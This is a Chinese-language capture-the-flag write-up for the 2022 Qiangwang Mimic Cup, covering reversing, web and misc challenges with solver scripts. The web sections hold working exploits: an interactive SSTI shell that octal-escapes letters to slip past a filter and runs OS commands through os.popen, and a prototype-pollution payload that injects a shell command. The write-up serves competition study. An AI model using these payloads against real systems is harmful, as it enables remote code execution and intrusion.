[CTF] 2022 第五届强网拟态杯 WP
[Re] Comeongo
反编译找到两串疑似密文的字符串
动调跟随逻辑到这里
可以知道name和passwd都是16位字符串
继续往下走, check1中的加密有一个字母表, 特点是无0和O, 可以猜到是base58加密
尝试后可以知道这一段是name[:8]+passwd[:8], 动调测试发现正确
name[:8] = GoM0bi13
passwd[:8] = G3tItEzF
第二段密文
b64Decode(X051YmNmRnE=)= _NubcfFq
输入GoM0bi13aaaa0000
和G3tItEzFaaaa0000
可以发现加密成了
也就是八个m, 说明这里加密的是name[8:12]+passwd[8:12], 并且对字母进行了一定偏移, 这里直接打表
abcdefghijklmnopqrstuvwxyz
mnopqrstuvwxybcdefghijklmn
对照后看得出_NubcfFq是_BinorRe
所以name[8:12]=_Bin, passwd[8:12]=orRe
name[:12] = GoM0bi13_Bin
passwd[:12] = G3tItEzForRe
继续动调后面两位, 可以发现加密对应关系
name[12] a→0xD7 b→0xD8 c→0xD9 … z→0xF0 … A→0xB7
name[13] a→A9
密文是0xDD和0x8F, 所以name[12:14]=gGo1
继续读代码, 可以发现两个逻辑, 一个是name[-2]+passwd[-2]
的和是确定的等于159, 第二个是name[-2]-passwd[-2]
的差是确定的63, 解方程出来可以知道是name[-2]=o
, passwd[-2]=0
, 同理name[-1]+passwd[-1]=97
和name[-1]-passwd[-1]=0x1F
解得name[-1]=@
, passwd[-1]=!
此时基本解密完成:
name = GoM0bi13_BingGo@
passwd = G3tItEzForRe??0!
直接测试发现出现多解了(旧附件)
最后猜测为flag{GoM0bi13_BingGo@G3tItEzForRevG0!}
[Re] unlambda
结构:I(xxxxxxxx) 返回一个数组中的T或者F
可以把I改成I = x(lambda _:_ + 1)(0)
返回的就是数组下标了
然后把每个check当做字符串处理, 提取出I(xxxxxxxx), 利用eval执行, 获得执行结果(下标), 就可以将其替换成arr[x]
继续寻找逻辑发现每一个I之前都会有一段l(l(l(l(l))))(l(l(l(l(l))))(l(l(l(l)))(l(l(l(l(l))))(l(l(l(l)))(l(l(l(l(l))))))(l(l(l(l))))))(l(l(l(l(l))))))(l(l(l(l)))(l(l(l(l)))))
测试发现l(l(l(l(l))))(l(l(l(l(l))))(l(l(l(l)))(l(l(l(l(l))))(l(l(l(l)))(l(l(l(l(l))))))(l(l(l(l))))))(l(l(l(l(l))))))(l(l(l(l)))(l(l(l(l)))))(T/F)(a)(b)相当于执行T/F
所以为了方便处理可以把l(l(l(l(l))))(l(l(l(l(l))))(l(l(l(l)))(l(l(l(l(l))))(l(l(l(l)))(l(l(l(l(l))))))(l(l(l(l))))))(l(l(l(l(l))))))(l(l(l(l)))(l(l(l(l)))))(xxx)正则替换成run(xxx)
import re
arr = []
l = lambda x : (x (lambda y : lambda a: lambda b : (y (b)) (a (b))))(lambda c : lambda __: c)
I = lambda x : x(lambda _:_ + 1)(0)
subed = ""
cnt = 0
with open('var.txt', 'r') as f: # var.txt每一行对应了一个check变量的值
content = f.read()
c = 0
while c < len(content.strip()):
if content[c] != "I":
subed += content[c]
c += 1
else:
c += 2
stack = 1
code = "I("
while stack != 0:
if content[c] == "(":
stack += 1
elif content[c] == ")":
stack -= 1
code += content[c]
c += 1
result = eval(code)
subed += f"arr[{str(result)}]"
subed = subed.replace("l(l(l(l(l))))(l(l(l(l(l))))(l(l(l(l)))(l(l(l(l(l))))(l(l(l(l)))(l(l(l(l(l))))))(l(l(l(l))))))(l(l(l(l(l))))))(l(l(l(l)))(l(l(l(l)))))","run")
print(subed)
现在check0长这样:
run(arr[6])(l(l(l(l)))(l(l)))(run(arr[24])(l(l(l(l)))(l(l)))(run(arr[30])(l(l(l(l)))(l(l)))(run(arr[37])(l(l(l(l)))(l(l)))(run(arr[16])(l(l(l(l)))(l(l)))(run(arr[41])(l(l(l(l)))(l(l)))(run(arr[10])(run(arr[47])(run(arr[0])(run(arr[38])(l(l(l(l)))(l(l)))(run(arr[7])(run(arr[23])(run(arr[27])(run(arr[40])(l(l(l(l)))(l(l)))(run(arr[57])(run(arr[31])(run(arr[9])(run(arr[12])(l(l(l(l)))(l(l)))(run(arr[28])(l(l(l(l)))(l(l)))(run(arr[46])(l(l(l(l)))(l(l)))(run(arr[59])(run(arr[61])(l(l(l(l)))(l(l)))(run(arr[22])(l(l(l(l)))(l(l)))(run(arr[35])(l(l(l(l)))(l(l)))(run(arr[56])(l(l(l(l)))(l(l)))(run(arr[39])(run(arr[19])(l(l(l(l)))(l(l)))(run(arr[3])(l(l(l(l)))(l(l)))(run(arr[51])(run(arr[63])(run(arr[60])(run(arr[52])(run(arr[29])(l(l(l(l)))(l(l)))(run(arr[62])(l(l(l(l)))(l(l)))(run(arr[13])(l(l(l(l)))(l(l)))(run(arr[34])(run(arr[1])(run(arr[50])(l(l(l(l)))(l(l)))(run(arr[21])(run(arr[11])(run(arr[25])(l(l(l(l)))(l(l)))(run(arr[42])(l(l(l(l)))(l(l)))(run(arr[32])(l(l(l(l)))(l(l)))(run(arr[14])(run(arr[8])(run(arr[58])(l(l(l(l)))(l(l)))(run(arr[5])(run(arr[53])(run(arr[17])(l(l(l(l)))(l(l)))(run(arr[18])(l(l(l(l)))(l(l)))(run(arr[33])(run(arr[15])(run(arr[2])(l(l(l(l)))(l(l)))(run(arr[55])(run(arr[45])(run(arr[26])(l(l(l(l)))(l(l)))(run(arr[4])(run(arr[36])(l(l(l(l)))(l(l)))(run(arr[49])(run(arr[54])(l(l(l(l)))(l(l)))(run(arr[20])(l(l(l(l)))(l(l)))(run(arr[44])(l(l(l(l)))(l(l)))(run(arr[43])(l(l(l(l)))(l(l)))(run(arr[48])(l(l(l(l))))(l(l(l(l)))(l(l))))))))(l(l(l(l)))(l(l)))))(l(l(l(l)))(l(l)))))(l(l(l(l)))(l(l))))(l(l(l(l)))(l(l)))))(l(l(l(l)))(l(l))))(l(l(l(l)))(l(l))))))(l(l(l(l)))(l(l))))(l(l(l(l)))(l(l)))))(l(l(l(l)))(l(l))))(l(l(l(l)))(l(l)))))))(l(l(l(l)))(l(l))))(l(l(l(l)))(l(l)))))(l(l(l(l)))(l(l))))(l(l(l(l)))(l(l)))))))(l(l(l(l)))(l(l))))(l(l(l(l)))(l(l))))(l(l(l(l)))(l(l))))(l(l(l(l)))(l(l))))))(l(l(l(l)))(l(l))))))))(l(l(l(l)))(l(l)))))))(l(l(l(l)))(l(l))))(l(l(l(l)))(l(l))))(l(l(l(l)))(l(l)))))(l(l(l(l)))(l(l))))(l(l(l(l)))(l(l))))(l(l(l(l)))(l(l)))))(l(l(l(l)))(l(l))))(l(l(l(l)))(l(l))))(l(l(l(l)))(l(l)))))))))
找到最终节run(arr[48])(l(l(l(l))))(l(l(l(l)))(l(l)))
l(l(l(l)))和F作用是一样的, l(l(l(l)))(l(l))和T的作用是一样的
又因为最后
所以最后总返回值必须是run(F), 因此arr[48]这里必须返回l(l(l(l))), 所以arr[48]是F, 也就是0, 这一整段就可以被替换成l(l(l(l))), 然后就变成了run(arr[43])(l(l(l(l)))(l(l)))(l(l(l(l)))), 那么arr[43]就是T, 也就是1, 可以以此类推, 递推下去
exp:
import re
arr = []
l = lambda x : (x (lambda y : lambda a: lambda b : (y (b)) (a (b))))(lambda c : lambda __: c)
I = lambda x : x(lambda _:_ + 1)(0)
subed = ""
with open('var.txt', 'r') as f: # var.txt每一行对应了一个check变量的值
lines = f.readlines()
for line in lines:
content = line.strip()
c = 0
while c < len(content.strip()):
if content[c] != "I":
subed += content[c]
c += 1
else:
c += 2
stack = 1
code = "I("
while stack != 0:
if content[c] == "(":
stack += 1
elif content[c] == ")":
stack -= 1
code += content[c]
c += 1
result = eval(code)
subed += f"arr[{str(result)}]"
subed = subed.replace("l(l(l(l(l))))(l(l(l(l(l))))(l(l(l(l)))(l(l(l(l(l))))(l(l(l(l)))(l(l(l(l(l))))))(l(l(l(l))))))(l(l(l(l(l))))))(l(l(l(l)))(l(l(l(l)))))","run")
subed += "))))))" # 怕括号不匹配, 多加几个在后面
subArr = [0]*64
while "run" in subed:
if len(re.findall(r"run\(arr\[([0-9]*)\]\)\(l\(l\(l\(l\)\)\)\)\(l\(l\(l\(l\)\)\)\(l\(l\)\)\)", subed)) > 0:
index = int(re.findall(r"run\(arr\[([0-9]*)\]\)\(l\(l\(l\(l\)\)\)\)\(l\(l\(l\(l\)\)\)\(l\(l\)\)\)", subed)[0])
subed = subed.replace(f"run(arr[{index}])(l(l(l(l))))(l(l(l(l)))(l(l)))", f"l(l(l(l)))")
subArr[index] = 0
else:
index = int(re.findall(r"run\(arr\[([0-9]*)\]\)\(l\(l\(l\(l\)\)\)\(l\(l\)\)\)\(l\(l\(l\(l\)\)\)\)", subed)[0])
subed = subed.replace(f"run(arr[{index}])(l(l(l(l)))(l(l)))(l(l(l(l))))", f"l(l(l(l)))")
subArr[index] = 1
arr.extend(subArr)
flag = ""
for i in range(0, len(arr), 8):
c = arr[i+7] << 7 | arr[i+6] << 6 | arr[i+5] << 5 | arr[i+4] << 4 | arr[i+3] << 3 | arr[i+2] << 2 | arr[i+1] << 1 | arr[i]
flag += chr(c)
print(flag)
[Web] 没有人比我更懂py
可以发现有ssti, 但是屏蔽了所有英文字母, 只有中文/符号/数字可以用.
采用八进制转义就能绕过限制
通过{{""["__class__"]["__mro__"][1]["__subclasses__"]()}}
扒下所有的可用类, 找到了一个warnings.catch_warnings
可以用来任意代码执行, 下标是213
shell.py
import requests
import re
def prepare_payload(payload):
res = ""
for c in payload:
if c.isalpha():
res += "\\"+oct(ord(c))[2:]
else:
res += c
return res
while True:
cmd = str(input())
payload = r"""{{""["__class__"]["__mro__"][1]["__subclasses__"]()[213]["__init__"]['__globals__']['__builtins__']['eval']("__import__('os').popen('"""+cmd+"""').read()")}}"""
data = {"data": f"{prepare_payload(payload)}"}
url = "http://172.51.227.173/"
x = requests.post(url=url, data=data)
res = re.findall(r' <p>(.*)</p>', x.text,re.S)[0]
print(res)
[Web] WHOYOUARE
if (typeof cmd !== 'string' || cmd.length > 4 ||RegExp(/^[^a-zA-Z0-9-]+$/).test(command[i])) {
return false;
}
可以发现cmd长度限定了4
找了个CVE, 可以通过构造原型链来绕过Deny of service via malicious Content-Type
exp.py
import json, requests
command = {
'constructor': {
'prototype': {
'2': 'cat /flag'
}
},
'command': ['-c', '-c']
}
cmd = {"user": json.dumps(command)}
url = "http://addr/user"
res = requests.post(url=url, json=cmd)
res = res.json()
print(res)
[Misc] babyMisc
猜数字, 有次数限制, 一直二分试就行了, 不到一分钟就跑出来了
from pwn import *
def main():
r = remote('172.51.227.55', 9999)
min = 0
max = 999999
r.recvline()
r.sendline(b"Y")
r.recvline()
r.recvline()
while True:
r.sendline(str(int((min+max)/2)))
x = str(r.recvline())
if "low" in x:
min = int((min+max)/2)
elif "up" in x:
max = int((min+max)/2)
else:
print(int((min+max)/2))
break
print(f"{min} {max} {x}")
return r, x
x = "lost"
while "lost" in x:
r, x = main()
r.interactive()